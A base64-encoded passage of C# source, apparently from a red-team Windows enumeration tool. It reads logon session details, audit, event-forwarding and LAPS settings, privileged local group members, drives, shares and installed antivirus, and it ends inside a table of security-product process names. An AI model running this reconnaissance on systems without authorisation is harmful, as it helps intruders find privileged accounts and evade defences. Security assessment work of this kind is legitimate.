CAgICAgIEludFB0ciBzZXNzaW9uRGF0YTsKCiAgICAgICAgICAgICAgICAgICAgICAgIHJldCA9IExzYUdldExvZ29uU2Vzc2lvbkRhdGEobHVpZFB0ciwgb3V0IHNlc3Npb25EYXRhKTsKICAgICAgICAgICAgICAgICAgICAgICAgU0VDVVJJVFlfTE9HT05fU0VTU0lPTl9EQVRBIGRhdGEgPSAoU0VDVVJJVFlfTE9HT05fU0VTU0lPTl9EQVRBKU1hcnNoYWwuUHRyVG9TdHJ1Y3R1cmUoc2Vzc2lvbkRhdGEsIHR5cGVvZihTRUNVUklUWV9MT0dPTl9TRVNTSU9OX0RBVEEpKTsKCiAgICAgICAgICAgICAgICAgICAgICAgIC8vIGlmIHdlIGhhdmUgYSB2YWxpZCBsb2dvbgogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YS5QU2lEICE9IEludFB0ci5aZXJvKQogICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBnZXQgdGhlIGFjY291bnQgdXNlcm5hbWUKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyB1c2VybmFtZSA9IE1hcnNoYWwuUHRyVG9TdHJpbmdVbmkoZGF0YS5Vc2VybmFtZS5CdWZmZXIpLlRyaW0oKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBjb252ZXJ0IHRoZSBzZWN1cml0eSBpZGVudGlmaWVyIG9mIHRoZSB1c2VyCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLlNlY3VyaXR5SWRlbnRpZmllciBzaWQgPSBuZXcgU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5TZWN1cml0eUlkZW50aWZpZXIoZGF0YS5QU2lEKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBkb21haW4gZm9yIHRoaXMgYWNjb3VudAogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGRvbWFpbiA9IE1hcnNoYWwuUHRyVG9TdHJpbmdVbmkoZGF0YS5Mb2dpbkRvbWFpbi5CdWZmZXIpLlRyaW0oKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBhdXRoZW50aWNhdGlvbiBwYWNrYWdlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmcgYXV0aHBhY2thZ2UgPSBNYXJzaGFsLlB0clRvU3RyaW5nVW5pKGRhdGEuQXV0aGVudGljYXRpb25QYWNrYWdlLkJ1ZmZlcikuVHJpbSgpOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIGxvZ29uIHR5cGUKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNFQ1VSSVRZX0xPR09OX1RZUEUgbG9nb25UeXBlID0gKFNFQ1VSSVRZX0xPR09OX1RZUEUpZGF0YS5Mb2dvblR5cGU7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gZGF0ZXRpbWUgdGhlIHNlc3Npb24gd2FzIGxvZ2dlZCBpbgogICAgICAgICAgICAgICAgICAgICAgICAgICAgRGF0ZVRpbWUgbG9nb25UaW1lID0gc3lzdGltZS5BZGRUaWNrcygobG9uZylkYXRhLkxvZ2luVGltZSk7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gdXNlcidzIGxvZ29uIHNlcnZlcgogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyaW5nIGxvZ29uU2VydmVyID0gTWFyc2hhbC5QdHJUb1N0cmluZ1VuaShkYXRhLkxvZ29uU2VydmVyLkJ1ZmZlcikuVHJpbSgpOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIGxvZ29uIHNlcnZlcidzIEROUyBkb21haW4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyBkbnNEb21haW5OYW1lID0gTWFyc2hhbC5QdHJUb1N0cmluZ1VuaShkYXRhLkRuc0RvbWFpbk5hbWUuQnVmZmVyKS5UcmltKCk7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gdXNlciBwcmluY2lwYWxuYW1lCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHJpbmcgdXBuID0gTWFyc2hhbC5QdHJUb1N0cmluZ1VuaShkYXRhLlVwbi5CdWZmZXIpLlRyaW0oKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBVc2VyTmFtZSAgICAgICAgICAgICAgICAgOiB7MH0iLCB1c2VybmFtZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBEb21haW4gICAgICAgICAgICAgICAgICAgOiB7MH0iLCBkb21haW4pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgTG9nb25JZCAgICAgICAgICAgICAgICAgIDogezB9IiwgZGF0YS5Mb2dpbklELkxvd1BhcnQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgVXNlclNJRCAgICAgICAgICAgICAgICAgIDogezB9Iiwgc2lkLkFjY291bnREb21haW5TaWQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgQXV0aGVudGljYXRpb25QYWNrYWdlICAgIDogezB9IiwgYXV0aHBhY2thZ2UpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgTG9nb25UeXBlICAgICAgICAgICAgICAgIDogezB9IiwgbG9nb25UeXBlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIExvZ29uVHlwZSAgICAgICAgICAgICAgICA6IHswfSIsIGxvZ29uVGltZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBMb2dvblNlcnZlciAgICAgICAgICAgICAgOiB7MH0iLCBsb2dvblNlcnZlcik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBMb2dvblNlcnZlckROU0RvbWFpbiAgICAgOiB7MH0iLCBkbnNEb21haW5OYW1lKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFVzZXJQcmluY2lwYWxOYW1lICAgICAgICA6IHswfVxyXG4iLCB1cG4pOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIC8vIG1vdmUgdGhlIHBvaW50ZXIgZm9yd2FyZAogICAgICAgICAgICAgICAgICAgICAgICBsdWlkUHRyID0gKEludFB0cikoKGxvbmcpbHVpZFB0ci5Ub0ludDY0KCkgKyBNYXJzaGFsLlNpemVPZih0eXBlb2YoTFVJRCkpKTsKICAgICAgICAgICAgICAgICAgICAgICAgTHNhRnJlZVJldHVybkJ1ZmZlcihzZXNzaW9uRGF0YSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIExzYUZyZWVSZXR1cm5CdWZmZXIobHVpZFB0cik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uIGV4KQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFtYXSBFeGNlcHRpb246IHswfSIsIGV4KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIExpc3RBdWRpdFNldHRpbmdzKCkKICAgICAgICB7CiAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcbj09PSBBdWRpdCBTZXR0aW5ncyA9PT1cclxuIik7CiAgICAgICAgICAgIERpY3Rpb25hcnk8c3RyaW5nLCBvYmplY3Q+IHNldHRpbmdzID0gR2V0UmVnVmFsdWVzKCJIS0xNIiwgIlNvZnR3YXJlXFxNaWNyb3NvZnRcXFdpbmRvd3NcXEN1cnJlbnRWZXJzaW9uXFxQb2xpY2llc1xcU3lzdGVtXFxBdWRpdCIpOwogICAgICAgICAgICBpZiAoKHNldHRpbmdzICE9IG51bGwpICYmIChzZXR0aW5ncy5Db3VudCAhPSAwKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgZm9yZWFjaCAoS2V5VmFsdWVQYWlyPHN0cmluZywgb2JqZWN0PiBrdnAgaW4gc2V0dGluZ3MpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGt2cC5WYWx1ZS5HZXRUeXBlKCkuSXNBcnJheSAmJiAoa3ZwLlZhbHVlLkdldFR5cGUoKS5HZXRFbGVtZW50VHlwZSgpLlRvU3RyaW5nKCkgPT0gIlN5c3RlbS5TdHJpbmciKSkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyByZXN1bHQgPSBzdHJpbmcuSm9pbigiLCIsIChzdHJpbmdbXSlrdnAuVmFsdWUpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICB7MCwtMzB9IDogezF9Iiwga3ZwLktleSwgcmVzdWx0KTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgezAsLTMwfSA6IHsxfSIsIGt2cC5LZXksIGt2cC5WYWx1ZSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgTGlzdFdFRlNldHRpbmdzKCkKICAgICAgICB7CiAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcbj09PSBXRUYgU2V0dGluZ3MgPT09XHJcbiIpOwogICAgICAgICAgICBEaWN0aW9uYXJ5PHN0cmluZywgb2JqZWN0PiBzZXR0aW5ncyA9IEdldFJlZ1ZhbHVlcygiSEtMTSIsICJTb2Z0d2FyZVxcUG9saWNpZXNcXE1pY3Jvc29mdFxcV2luZG93c1xcRXZlbnRMb2dcXEV2ZW50Rm9yd2FyZGluZ1xcU3Vic2NyaXB0aW9uTWFuYWdlciIpOwogICAgICAgICAgICBpZiAoKHNldHRpbmdzICE9IG51bGwpICYmIChzZXR0aW5ncy5Db3VudCAhPSAwKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgZm9yZWFjaCAoS2V5VmFsdWVQYWlyPHN0cmluZywgb2JqZWN0PiBrdnAgaW4gc2V0dGluZ3MpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGt2cC5WYWx1ZS5HZXRUeXBlKCkuSXNBcnJheSAmJiAoa3ZwLlZhbHVlLkdldFR5cGUoKS5HZXRFbGVtZW50VHlwZSgpLlRvU3RyaW5nKCkgPT0gIlN5c3RlbS5TdHJpbmciKSkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyByZXN1bHQgPSBzdHJpbmcuSm9pbigiLCIsIChzdHJpbmdbXSlrdnAuVmFsdWUpOwogICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICB7MCwtMzB9IDogezF9Iiwga3ZwLktleSwgcmVzdWx0KTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgezAsLTMwfSA6IHsxfSIsIGt2cC5LZXksIGt2cC5WYWx1ZSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgTGlzdExhcHNTZXR0aW5ncygpCiAgICAgICAgewogICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcblxyXG49PT0gTEFQUyBTZXR0aW5ncyA9PT1cclxuIik7CgogICAgICAgICAgICBzdHJpbmcgQWRtUHdkRW5hYmxlZCA9IEdldFJlZ1ZhbHVlKCJIS0xNIiwgIlNvZnR3YXJlXFxQb2xpY2llc1xcTWljcm9zb2Z0IFNlcnZpY2VzXFxBZG1Qd2QiLCAiQWRtUHdkRW5hYmxlZCIpOwoKICAgICAgICAgICAgaWYgKEFkbVB3ZEVuYWJsZWQgIT0gIiIpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIHswLC0zN30gOiB7MX0iLCAiTEFQUyBFbmFibGVkIiwgQWRtUHdkRW5hYmxlZCk7CgogICAgICAgICAgICAgICAgc3RyaW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RtUHdkIiwgIlB3ZEV4cGlyYXRpb25Qcm90ZWN0aW9uRW5hYmxlZCIpOwogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgezAsLTM3fSA6IHsxfSIsICJMQVBTIEV4cGlyYXRpb24gUHJvdGVjdGlvbiBFbmFibGVkIiwgTEFTUHdkRXhwaXJhdGlvblByb3RlY3Rpb25FbmFibGVkKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFsqXSBMQVBTIG5vdCBpbnN0YWxsZWQiKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIExpc3RMb2NhbEdyb3VwTWVtYmVycygpCiAgICAgICAgewogICAgICAgICAgICAvLyBhZGFwdGVkIGZyb20gaHR0cHM6Ly9zdGFja292ZXJmbG93LmNvbS9xdWVzdGlvbnMvMzM5MzU4MjUvcGludm9rZS1uZXRsb2NhbGdyb3VwZ2V0bWVtYmVycy1ydW5zLWludG8tZmF0YWxleGVjdXRpb25lbmdpbmVlcnJvci8zMzkzOTg4OSMzMzkzOTg4OQoKICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcbj09PSBMb2NhbCBHcm91cCBNZW1iZXJzaGlwcyA9PT1cclxuIik7CgogICAgICAgICAgICAgICAgLy8gbG9jYWxpemF0aW9uIGZvciBAY25vdGluIDspCiAgICAgICAgICAgICAgICBzdHJpbmdbXSBncm91cHNTSURzID0gewogICAgICAgICAgICAgICAgICAgICJTLTEtNS0zMi01NDQiLCAvLyBBZG1pbmlzdHJhdG9ycwogICAgICAgICAgICAgICAgICAgICJTLTEtNS0zMi01NTUiLCAvLyBSRFAKICAgICAgICAgICAgICAgICAgICAiUy0xLTUtMzItNTYyIiwgLy8gQ09NCiAgICAgICAgICAgICAgICAgICAgIlMtMS01LTMyLTU4MCIgLy8gUmVtb3RlIE1hbmFnZW1lbnQKICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAgICAgZm9yZWFjaCAoc3RyaW5nIHNpZCBpbiBncm91cHNTSURzKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIHN0cmluZyBncm91cE5hbWVGdWxsID0gVHJhbnNsYXRlU2lkKHNpZCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKHN0cmluZy5Jc051bGxPckVtcHR5KGdyb3VwTmFtZUZ1bGwpKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgLy8gZS5nLiAiUy0xLTUtMzItNTgwIiBmb3IgIlJlbW90ZSBNYW5hZ2VtZW50IFVzZXJzIiBjYW4gYmUgbWlzc2luZyBvbiBvbGRlciB2ZXJzaW9ucyBvZiBXaW5kb3dzCiAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFtYXSBDYW5ub3QgZmluZCBTSUQgdHJhbnNsYXRpb24gZm9yICd7MH0nIiwgc2lkKTsKICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICBzdHJpbmcgZ3JvdXBOYW1lID0gZ3JvdXBOYW1lRnVsbC5TdWJzdHJpbmcoZ3JvdXBOYW1lRnVsbC5JbmRleE9mKCdcXCcpICsgMSk7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgKiB7MH0gKlxyXG4iLCBncm91cE5hbWUpOwogICAgICAgICAgICAgICAgICAgIHN0cmluZ1tdIG1lbWJlcnMgPSBHZXRMb2NhbEdyb3VwTWVtYmVycyhncm91cE5hbWUpOwogICAgICAgICAgICAgICAgICAgIGlmIChtZW1iZXJzICE9IG51bGwpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChzdHJpbmcgbWVtYmVyIGluIG1lbWJlcnMpCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgezB9IiwgbWVtYmVyKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gZXgpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFtYXSBFeGNlcHRpb246IHswfSIsIGV4Lk1lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgTGlzdE1hcHBlZERyaXZlcygpCiAgICAgICAgewogICAgICAgICAgICB0cnkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IERyaXZlIEluZm9ybWF0aW9uICh2aWEgLk5FVCkgPT09XHJcbiIpOwoKICAgICAgICAgICAgICAgIC8vIGdyYWIgYWxsIGRyaXZlIGxldHRlcnMKICAgICAgICAgICAgICAgIERyaXZlSW5mb1tdIGRyaXZlSW5mb3MgPSBEcml2ZUluZm8uR2V0RHJpdmVzKCk7CgogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgezAsLTEwfSAgIHsxfSIsICJEcml2ZSIsICJNYXBwZWQgTG9jYXRpb24iKTsKCiAgICAgICAgICAgICAgICBmb3JlYWNoIChEcml2ZUluZm8gZHJpdmVJbmZvIGluIGRyaXZlSW5mb3MpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgLy8gdHJ5IHRvIHJlc29sdmUgZWFjaCBkcml2ZSB0byBhIFVOQyBtYXBwZWQgbG9jYXRpb24KICAgICAgICAgICAgICAgICAgICBzdHJpbmcgcGF0aCA9IEdldFVOQ1BhdGgoZHJpdmVJbmZvLk5hbWUpOwoKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICB7MCwtMTB9IDogezF9IiwgZHJpdmVJbmZvLk5hbWUsIHBhdGgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gZXgpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFtYXSBFeGNlcHRpb246IHswfSIsIGV4Lk1lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgTGlzdFdNSU1hcHBlZERyaXZlcygpCiAgICAgICAgewogICAgICAgICAgICB0cnkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgTWFuYWdlbWVudE9iamVjdFNlYXJjaGVyIHdtaURhdGEgPSBuZXcgTWFuYWdlbWVudE9iamVjdFNlYXJjaGVyKEAicm9vdFxjaW12MiIsICJTRUxFQ1QgKiBGUk9NIHdpbjMyX25ldHdvcmtjb25uZWN0aW9uIik7CiAgICAgICAgICAgICAgICBNYW5hZ2VtZW50T2JqZWN0Q29sbGVjdGlvbiBkYXRhID0gd21pRGF0YS5HZXQoKTsKCiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcblxyXG49PT0gTWFwcGVkIERyaXZlcyAodmlhIFdNSSkgPT09XHJcbiIpOwoKICAgICAgICAgICAgICAgIGZvcmVhY2ggKE1hbmFnZW1lbnRPYmplY3QgcmVzdWx0IGluIGRhdGEpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgTG9jYWxOYW1lICAgICAgICA6IHswfSIsIHJlc3VsdFsiTG9jYWxOYW1lIl0pOwogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFJlbW90ZU5hbWUgICAgICAgOiB7MH0iLCByZXN1bHRbIlJlbW90ZU5hbWUiXSk7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgUmVtb3RlUGF0aCAgICAgICA6IHswfSIsIHJlc3VsdFsiUmVtb3RlUGF0aCJdKTsKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBTdGF0dXMgICAgICAgICAgIDogezB9IiwgcmVzdWx0WyJTdGF0dXMiXSk7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgQ29ubmVjdGlvblN0YXRlICA6IHswfSIsIHJlc3VsdFsiQ29ubmVjdGlvblN0YXRlIl0pOwogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFBlcnNpc3RlbnQgICAgICAgOiB7MH0iLCByZXN1bHRbIlBlcnNpc3RlbnQiXSk7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgVXNlck5hbWUgICAgICAgICA6IHswfSIsIHJlc3VsdFsiVXNlck5hbWUiXSk7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgRGVzY3JpcHRpb24gICAgICA6IHswfVxyXG4iLCByZXN1bHRbIkRlc2NyaXB0aW9uIl0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gZXgpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFtYXSBFeGNlcHRpb246IHswfSIsIGV4Lk1lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgTGlzdE5ldHdvcmtTaGFyZXMoKQogICAgICAgIHsKICAgICAgICAgICAgLy8gbGlzdHMgY3VycmVudCBuZXR3b3JrIHNoYXJlcyBmb3IgdGhpcyBzeXN0ZW0gdmlhIFdNSQoKICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIE1hbmFnZW1lbnRPYmplY3RTZWFyY2hlciB3bWlEYXRhID0gbmV3IE1hbmFnZW1lbnRPYmplY3RTZWFyY2hlcihAInJvb3RcY2ltdjIiLCAiU0VMRUNUICogRlJPTSBXaW4zMl9TaGFyZSIpOwogICAgICAgICAgICAgICAgTWFuYWdlbWVudE9iamVjdENvbGxlY3Rpb24gZGF0YSA9IHdtaURhdGEuR2V0KCk7CgogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IE5ldHdvcmsgU2hhcmVzICh2aWEgV01JKSA9PT1cclxuIik7CgogICAgICAgICAgICAgICAgZm9yZWFjaCAoTWFuYWdlbWVudE9iamVjdCByZXN1bHQgaW4gZGF0YSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBOYW1lICAgICAgICAgICAgIDogezB9IiwgcmVzdWx0WyJOYW1lIl0pOwogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFBhdGggICAgICAgICAgICAgOiB7MH0iLCByZXN1bHRbIlBhdGgiXSk7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgRGVzY3JpcHRpb24gICAgICA6IHswfVxyXG4iLCByZXN1bHRbIkRlc2NyaXB0aW9uIl0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gZXgpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFtYXSBFeGNlcHRpb246IHswfSIsIGV4Lk1lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgTGlzdEFudGlWaXJ1c1dNSSgpCiAgICAgICAgewogICAgICAgICAgICAvLyBsaXN0cyBpbnN0YWxsZWQgVkEgcHJvZHVjdHMgdmlhIFdNSSAodGhlIEFudGlWaXJ1c1Byb2R1Y3QgY2xhc3MpCgogICAgICAgICAgICB0cnkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgTWFuYWdlbWVudE9iamVjdFNlYXJjaGVyIHdtaURhdGEgPSBuZXcgTWFuYWdlbWVudE9iamVjdFNlYXJjaGVyKEAicm9vdFxTZWN1cml0eUNlbnRlcjIiLCAiU0VMRUNUICogRlJPTSBBbnRpVmlydXNQcm9kdWN0Iik7CiAgICAgICAgICAgICAgICBNYW5hZ2VtZW50T2JqZWN0Q29sbGVjdGlvbiBkYXRhID0gd21pRGF0YS5HZXQoKTsKCiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcblxyXG49PT0gUmVnaXN0ZXJlZCBBbnRpdmlydXMgKHZpYSBXTUkpID09PVxyXG4iKTsKCiAgICAgICAgICAgICAgICBmb3JlYWNoIChNYW5hZ2VtZW50T2JqZWN0IHZpcnVzQ2hlY2tlciBpbiBkYXRhKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIEVuZ2luZSAgICAgICAgOiB7MH0iLCB2aXJ1c0NoZWNrZXJbImRpc3BsYXlOYW1lIl0pOwogICAgICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFByb2R1Y3RFWEUgICAgOiB7MH0iLCB2aXJ1c0NoZWNrZXJbInBhdGhUb1NpZ25lZFByb2R1Y3RFeGUiXSk7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgUmVwb3J0aW5nRVhFICA6IHswfVxyXG4iLCB2aXJ1c0NoZWNrZXJbInBhdGhUb1NpZ25lZFJlcG9ydGluZ0V4ZSJdKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uIGV4KQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICBbWF0gRXhjZXB0aW9uOiB7MH0iLCBleC5NZXNzYWdlKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIExpc3RJbnRlcmVzdGluZ1Byb2Nlc3NlcygpCiAgICAgICAgewogICAgICAgICAgICAvLyBUT0RPOiBjaGVjayBvdXQgaHR0cHM6Ly9naXRodWIuY29tL2hhcmxleVF1MW5uL0FnZ3Jlc3NvclNjcmlwdHMvYmxvYi9tYXN0ZXIvUHJvY2Vzc0NvbG9yLmNuYSNMMTAKCiAgICAgICAgICAgIC8vIGZyb20gaHR0cHM6Ly9naXRodWIuY29tL3RocmVhdGV4cHJlc3MvcmVkLXRlYW0tc2NyaXB0cy9ibG9iL21hc3Rlci9Ib3N0RW51bS5wczEjTDk4NS1MMTAzMwogICAgICAgICAgICBIYXNodGFibGUgZGVmZW5zaXZlUHJvY2Vzc2VzID0gbmV3IEhhc2h0YWJsZSgpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHsibWNzaGllbGQuZXhlIiAgICAgICAgICAgICAgICAsICJNY0FmZWUgQVYifSwKICAgICAgICAgICAgICAgIHsid2luZGVmZW5kLmV4ZSIgICAgICAgICAgICAgICAsICJXaW5kb3dzIERlZmVuZGVyIEFWIn0sCiAgICAgICAgICAgICAgICB7Ik1TQVNDdWkuZXhlIiAgICAgICAgICAgICAgICAgLCAiV2luZG93cyBEZWZlbmRlciBBViJ9LAogICAgICAgICAgICAgICAgeyJNU0FTQ3VpTC5leGUiICAgICAgICAgICAgICAgICwgIldpbmRvd3MgRGVmZW5kZXIgQVYifSwKICAgICAgICAgICAgICAgIHsibXNtcGVuZy5leGUiICAgICAgICAgICAgICAgICAsICJXaW5kb3dzIERlZmVuZGVyIEFWIn0sCiAgICAgICAgICAgICAgICB7Im1zbXBzdmMuZXhlIiAgICAgICAgICAgICAgICAgLCAiV